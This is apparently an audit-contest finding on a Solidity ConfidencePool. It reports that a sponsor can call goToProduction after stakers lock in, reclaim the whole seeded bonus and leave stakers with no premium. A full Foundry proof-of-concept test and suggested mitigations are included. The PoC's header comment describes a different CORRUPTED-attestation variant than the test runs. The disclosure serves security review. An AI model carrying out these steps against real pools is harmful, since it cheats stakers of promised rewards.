FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

The staker premium is a sponsor-held option: goToProduction lets a sponsor deny the bonus and reclaim it after stakers are locked in

Author Revealed upon completion

Root + Impact

Description

Normal behavior. Stakers lock capital to signal confidence that an agreement's in-scope contracts will survive their attackable term, and are compensated from the sponsor's bonus for bearing that exposure. The bonus is only earned once a risk window is observed (riskWindowStart != 0); DESIGN.md ## 9 states that "no observed risk → no bonus is fair: a staker only forfeits the exit option once risk has actually materialized," and that "a sponsor cannot grief stakers by keeping the agreement out of attackable mode — stakers can freely exit until risk materializes."

The issue. ## 9's defense assumes the only way to avoid the risk window is to linger in a pre-attack state, during which stakers retain the withdraw exit. But the sponsor is the agreement owner, and the upstream goToProduction() lets the agreement owner jump directly and instantly to terminal PRODUCTION, skipping the attack phase entirely — no DAO approval, no delay. This is neither lingering (it is terminal) nor exit-preserving (stakers cannot withdraw from PRODUCTION). Because no active-risk state was ever observed, riskWindowStart stays 0, so _bonusShare returns 0 for every staker and sweepUnclaimedBonus treats the entire bonus as unowed and sends it to the sponsor-controlled recoveryAddress. The sponsor can therefore seed a bonus to attract stakers and the confidence signal it produces, let them deposit and lock in, and then reclaim the whole bonus post-commitment — obtaining the signal for free while stakers earn nothing and have capital frozen until expiry.

Why this is different from DESIGN.md ## 9. ## 9 frames "no risk → no bonus" as a fair, benign outcome of an agreement that happened to stay safe, and relies on "stakers can freely exit until risk materializes" as the staker's protection. Neither holds here: the sponsor can force the no-risk outcome instantly and after stakers are already committed, and the goToProduction path gives stakers no exit window to react (it moves pre-attack → terminal in one call). The staker's premium is thus not a return earned by bearing risk — it is an option the sponsor grants (honest survival path) or withholds (goToProduction), decided after observing how much capital the bonus attracted.

// src/ConfidencePool.sol — sweepUnclaimedBonus()
uint256 reserved;
if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
// @> When riskWindowStart == 0 (no observed risk), the bonus is treated as owed to NO staker,
// @> so the ENTIRE seeded bonus is sweepable to recoveryAddress. A sponsor reaches this state
// @> at will and post-commitment via goToProduction() (instant PRODUCTION, no risk window),
// @> after stakers are locked out of withdraw() by the terminal state.
if (riskWindowStart != 0) {
reserved += snapshotTotalBonus - claimedBonus;
}
}
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0;
if (amount == 0) revert NothingToSweep();
// ...
stakeToken.safeTransfer(recoveryAddress, amount); // sponsor-controlled destination

Risk

Likelihood:

  1. The sponsor is the agreement owner (createPool requires IAgreement(agreement).owner() == msg.sender) and holds the authorization to call goToProduction, so the action is available on every pool the sponsor creates with no external cooperation, no DAO step, and no delay.

  2. The sponsor executes it after watching deposits accumulate: seed the bonus, let stakers deposit and lock in, then call goToProduction in a single transaction the sponsor times — stakers get no block-level window to exit ahead of it.

  3. Nothing about the outcome is gated on a third party (unlike the CORRUPTED-attestation variant, which needs a DAO-moderator lapse); the premium denial and bonus reclaim complete purely from sponsor actions plus the pool's own expiry deadline.

Impact:

  1. Stakers earn zero premium despite committing capital, and are locked from goToProduction until expiry: withdraw reverts (state is terminal PRODUCTION), claimSurvived needs a flag the sponsor need not provide, and claimExpired/claimSurvived only pay after expiry.

  2. The sponsor reclaims 100% of the seeded bonus to recoveryAddress, having paid nothing for the third-party confidence the pool advertised.

  3. The mechanism's economic premise — that the premium is a reliable reward for bearing risk — is broken: the reward is revocable by the party the confidence signal is about.

Proof of Concept

Verified end-to-end against the real BattleChain registry stack (no mocks). Principal is returned in full; the loss is the denied premium plus a full term of locked capital.

How to reproduce the test file:
The upstream concretes are solc 0.8.34, the pool is solc 0.8.26, so this needs a multi-version build, which the repo isn't set up for by default:

  1. Unpin solc — remove solc = "0.8.26" from foundry.toml (the pool never imports the concrete upstream, so the repo normally only ever compiles 0.8.26).

  2. Add a remapping — solady/=lib/battlechain-safe-harbor-contracts/lib/solady/src/, and recursively init the solady submodule (git submodule update --init --recursive), which the repo's flat clone omits.

  3. solc 0.8.34 must be installed, and the E2E file is pragma 0.8.34 — it never imports the 0.8.26 pool/token sources (would be an incompatible unit); it drives them via local IPool/IToken interfaces + deployCode("ConfidencePool.sol:ConfidencePool").

// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {AttackRegistry} from "@battlechain/AttackRegistry.sol";
import {AgreementFactory} from "@battlechain/AgreementFactory.sol";
import {Agreement} from "@battlechain/Agreement.sol";
import {BattleChainSafeHarborRegistry} from "@battlechain/BattleChainSafeHarborRegistry.sol";
import {
AgreementDetails,
Contact,
Chain as BCChain,
Account as BCAccount,
ChildContractScope,
BountyTerms,
IdentityRequirements
} from "@battlechain/types/AgreementTypes.sol";
/// @dev Minimal locally-declared interfaces so this 0.8.34 file never imports the 0.8.26-pinned pool
/// or token sources (which would create an incompatible-version compilation unit). The concrete
/// bytecode is pulled in via `deployCode` at runtime.
interface IPool {
function initialize(
address agreement,
address stakeToken,
address safeHarborRegistry,
address moderator,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address owner,
address[] calldata accounts
) external;
function stake(uint256 amount) external;
function contributeBonus(uint256 amount) external;
function pokeRiskWindow() external;
function withdraw() external;
function claimExpired() external;
function claimSurvived() external;
function claimCorrupted() external;
function sweepUnclaimedBonus() external;
function outcome() external view returns (uint8);
function expiry() external view returns (uint32);
function riskWindowStart() external view returns (uint32);
function MODERATOR_CORRUPTED_GRACE() external view returns (uint256);
}
interface IToken {
function mint(address to, uint256 amount) external;
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address who) external view returns (uint256);
}
/// @notice TRUE end-to-end PoC against the REAL BattleChain registry stack. Proves a sponsor who
/// holds the (default) attack-moderator role can fabricate a CORRUPTED attestation on their own
/// agreement with NO breach via `markCorrupted`, and that the ConfidencePool's permissionless
/// auto-CORRUPTED backstop then sweeps 100% of staker principal + bonus to the sponsor.
///
/// NOTE: the concrete upstream contracts are pinned to solc 0.8.34 while the pool is pinned to
/// 0.8.26. To compile both, remove the `solc = "0.8.26"` pin from foundry.toml (multi-version).
contract PoC_FabricatedCorrupted_E2E is Test {
uint256 constant ONE = 1e18;
string constant CAIP2 = "eip155:9999";
uint8 constant OUTCOME_SURVIVED = 1; // PoolStates.Outcome.SURVIVED
uint8 constant OUTCOME_CORRUPTED = 2; // PoolStates.Outcome.CORRUPTED
address registryOwner = makeAddr("registryOwner");
address daoRegistryMod = makeAddr("daoRegistryMod");
address poolOutcomeMod = makeAddr("poolOutcomeMod"); // the pool's DAO moderator (should flag SURVIVED)
address treasury = makeAddr("treasury");
address deployerEOA = makeAddr("battleChainDeployer");
address sponsor = makeAddr("sponsor"); // agreement owner + attack moderator + pool owner
address sponsorRecovery = makeAddr("sponsorRecovery");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address carol = makeAddr("carol");
address inScopeContract = address(0xBEEF);
BattleChainSafeHarborRegistry shr;
AgreementFactory factory;
AttackRegistry attackReg;
IToken token;
IPool pool;
address agreement;
function setUp() public {
vm.warp(1_750_000_000);
token = IToken(deployCode("MockERC20.sol:MockERC20"));
// Deploy upstream stack; break the init cycle with placeholder addresses, then wire reals.
string[] memory chains = new string[](1);
chains[0] = CAIP2;
shr = BattleChainSafeHarborRegistry(
address(
new ERC1967Proxy(
address(new BattleChainSafeHarborRegistry()),
abi.encodeWithSelector(
BattleChainSafeHarborRegistry.initialize.selector,
registryOwner, chains, address(0xdead), address(0xbeef)
)
)
)
);
factory = AgreementFactory(
address(
new ERC1967Proxy(
address(new AgreementFactory()),
abi.encodeWithSelector(
AgreementFactory.initialize.selector, registryOwner, address(shr), CAIP2
)
)
)
);
attackReg = AttackRegistry(
address(
new ERC1967Proxy(
address(new AttackRegistry()),
abi.encodeWithSelector(
AttackRegistry.initialize.selector,
registryOwner, daoRegistryMod, address(shr), address(factory), deployerEOA, treasury
)
)
)
);
vm.startPrank(registryOwner);
shr.setAgreementFactory(address(factory));
shr.setAttackRegistry(address(attackReg));
vm.stopPrank();
}
/// @notice Branch 2: the staker premium is a sponsor-held option, revocable post-commitment.
/// The sponsor seeds a bonus to attract stakers, lets them deposit and lock in, then calls
/// `goToProduction` (instant, no DAO, skips attack entirely). No risk window is ever observed,
/// so `_bonusShare` is zero for everyone and the sponsor reclaims the ENTIRE bonus via
/// `sweepUnclaimedBonus`. Stakers are frozen until expiry and recover only their principal —
/// zero premium for a full term of locked capital. Principal is safe, so this is premium-denial,
/// not theft; it is the ungated demonstration that staker payoff is a sponsor election.
function test_E2E_sponsorGoToProduction_reclaimsBonus_stakersGetNoPremium() public {
// Sponsor registers the contract and creates the agreement (owner = sponsor). No attack.
vm.prank(deployerEOA);
attackReg.registerDeployment(inScopeContract, sponsor);
agreement = _createAgreement(sponsor, inScopeContract);
// Sponsor seeds an attractive bonus; honest stakers deposit into the pool.
pool = _deployPool(agreement);
_contributeBonus(sponsor, 40 * ONE);
_stake(alice, 100 * ONE);
_stake(bob, 100 * ONE);
assertEq(token.balanceOf(address(pool)), 240 * ONE);
assertEq(pool.riskWindowStart(), 0, "no risk window yet");
// Sponsor unilaterally jumps straight to PRODUCTION — instant, no DAO, attack phase skipped.
vm.prank(sponsor);
attackReg.goToProduction(agreement);
assertEq(
uint256(attackReg.getAgreementState(agreement)),
uint256(IAttackRegistry.ContractState.PRODUCTION)
);
// Stakers are now locked (PRODUCTION is terminal) AND earned no premium (riskWindowStart 0).
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0, "risk window never opened -> zero bonus for stakers");
vm.prank(alice);
vm.expectRevert(); // WithdrawsDisabled
pool.withdraw();
vm.expectRevert(); // PoolNotExpired: frozen until expiry, no early exit
pool.claimExpired();
// At expiry the pool auto-resolves SURVIVED. Sponsor reclaims the ENTIRE bonus.
vm.warp(uint256(pool.expiry()) + 1);
vm.prank(sponsor);
pool.claimExpired(); // non-staker soft-resolve -> outcome SURVIVED
assertEq(pool.outcome(), OUTCOME_SURVIVED, "auto-resolved SURVIVED");
uint256 recBefore = token.balanceOf(sponsorRecovery);
pool.sweepUnclaimedBonus();
assertEq(
token.balanceOf(sponsorRecovery) - recBefore, 40 * ONE, "sponsor reclaimed the full bonus"
);
// Stakers recover exactly their principal — no premium for the locked term.
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice) - aliceBefore, 100 * ONE, "alice: principal only, no premium");
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
assertEq(token.balanceOf(bob) - bobBefore, 100 * ONE, "bob: principal only, no premium");
// The pool is fully drained; the sponsor paid nothing for the confidence signal it obtained.
assertEq(token.balanceOf(address(pool)), 0, "pool drained");
}
// --------------------------------------------------------------------------------- helpers
function _createAgreement(address _owner, address c) internal returns (address a) {
BCAccount[] memory accounts = new BCAccount[](1);
accounts[0] =
BCAccount({accountAddress: _addrToStr(c), childContractScope: ChildContractScope.None});
BCChain[] memory chains = new BCChain[](1);
chains[0] = BCChain({
assetRecoveryAddress: _addrToStr(address(0x22)),
accounts: accounts,
caip2ChainId: CAIP2
});
Contact[] memory contacts = new Contact[](1);
contacts[0] = Contact({name: "Test", contact: "test@test.com"});
BountyTerms memory bt = BountyTerms({
bountyPercentage: 10,
bountyCapUsd: 5_000_000,
retainable: false,
identity: IdentityRequirements.Anonymous,
diligenceRequirements: "none",
aggregateBountyCapUsd: 10_000_000
});
AgreementDetails memory d = AgreementDetails({
protocolName: "Test Protocol",
contactDetails: contacts,
chains: chains,
bountyTerms: bt,
agreementURI: "ipfs://test"
});
vm.prank(_owner);
a = factory.create(d, _owner, keccak256(abi.encodePacked(_owner, c)));
vm.prank(_owner);
Agreement(a).extendCommitmentWindow(block.timestamp + 30 days);
}
function _deployPool(address a) internal returns (IPool p) {
address impl = deployCode("ConfidencePool.sol:ConfidencePool");
p = IPool(Clones.clone(impl));
address[] memory scope = new address[](1);
scope[0] = inScopeContract;
p.initialize(
a, address(token), address(shr), poolOutcomeMod,
block.timestamp + 31 days, ONE, sponsorRecovery, sponsor, scope
);
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
function _addrToStr(address addr) internal pure returns (string memory) {
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(42);
str[0] = "0";
str[1] = "x";
for (uint256 i = 0; i < 20; i++) {
str[2 + i * 2] = alphabet[uint8(uint160(addr) >> (8 * (19 - i)) >> 4) & 0xf];
str[3 + i * 2] = alphabet[uint8(uint160(addr) >> (8 * (19 - i))) & 0xf];
}
return string(str);
}
}

Recommended Mitigation

The root issue is that the staker's bonus entitlement depends on a risk-window observation the sponsor can nullify at will, after stakers are locked in. Two options, in order of directness:

  1. Accrue a bonus floor once stakers lose the exit. If a staker can be locked (no withdraw) for a term, they should earn at least a minimum premium regardless of whether the sponsor routes around the risk window. Tie bonus eligibility to the withdraw-lock/commitment, not solely to riskWindowStart != 0.

  2. Do not let a sponsor-controlled terminal transition nullify an already-committed bonus. Where the agreement reaches PRODUCTION via a sponsor-only instant path (goToProduction / instantPromote) after stakers have committed, resolve to a bonus-paying SURVIVED (e.g. amount-weighted) rather than a zero-bonus one, so the sponsor cannot both attract stakers with a bonus and reclaim it.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!